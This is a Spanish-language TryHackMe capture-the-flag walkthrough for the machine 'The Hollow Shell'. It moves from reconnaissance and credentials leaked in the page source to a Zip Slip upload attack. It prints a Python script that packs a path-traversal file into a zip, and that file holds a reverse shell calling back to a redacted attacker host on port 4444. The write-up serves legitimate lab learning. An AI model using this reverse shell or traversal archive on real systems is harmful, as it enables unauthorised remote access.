XUT_ / MACHINES / THM

0081

The Hollow Shell

THMMACHINENONEMEDIUM

Introduction

the-hollow-shell

La encuentras en la playa: bonita, normal, el tipo de cosa en la que nadie se fija y comprueba. Mete algo dentro y sostenlo junto a tu oído.

Getting the Flags

Reconocimiento Inicial

Comenzamos realizando un escaneo de puertos abiertos.

the-hollow-shell

Ahora vamos a escanear los puertos abiertos más en profundidad.

the-hollow-shell

Vamos a ver qué hay en la web.

the-hollow-shell

Vemos dos endpoints muy interesantes. Vamos a ver cómo se ve la web.


Profundización

Si miramos el código fuente podemos encontrar usuario y contraseña.

the-hollow-shell

Vamos a probar con dicho par para intentar obtener acceso al endpoint /upload, que es el más jugoso aparentemente.

the-hollow-shell

Hemos entrado al panel donde aparece el endpoint de subida. Vamos a investigar si hay algún tipo de filtro. Si intentamos subir un archivo .php nos dice lo siguiente.

the-hollow-shell

Vamos a crear un archivo .zip de prueba para ver cómo funciona la subida.

the-hollow-shell

Ahora probamos a subirlo.

the-hollow-shell

El mensaje ha cambiado. Vamos a la dirección que nos han dado.

the-hollow-shell


Explotación

Sabemos que está guardando las shells en un directorio /shells/shell-id/. Por lo que podemos inferir que los hooks se están guardando de forma similar. Hay un tipo de ataque llamado Zip Slip que nos permite guardar un nombre con ../../ y estos serán interpretados al descomprimirse.

Vamos a crear un exploit en python que nos devuelva el archivo .zip listo para subir.

python
import zipfile, json

payload = ('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[REDACTED]",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")')

with zipfile.ZipFile("evil.zip", "w") as z:
    z.writestr("shell.json", json.dumps({"name": "evil", "assets": ["style.css"]}))
    z.writestr("style.css", "/* test */")
    z.writestr("../../hooks/evil.py", payload)

Ahora lo ejecutamos. Y esto nos da el zip para subir. Nos ponemos en escucha:

the-hollow-shell

Y ahora subimos el archivo.

the-hollow-shell

Una vez que el worker llega a los hooks, podemos ver que nos devuelve una shell.

the-hollow-shell

Y una vez allí buscamos la flag.

the-hollow-shell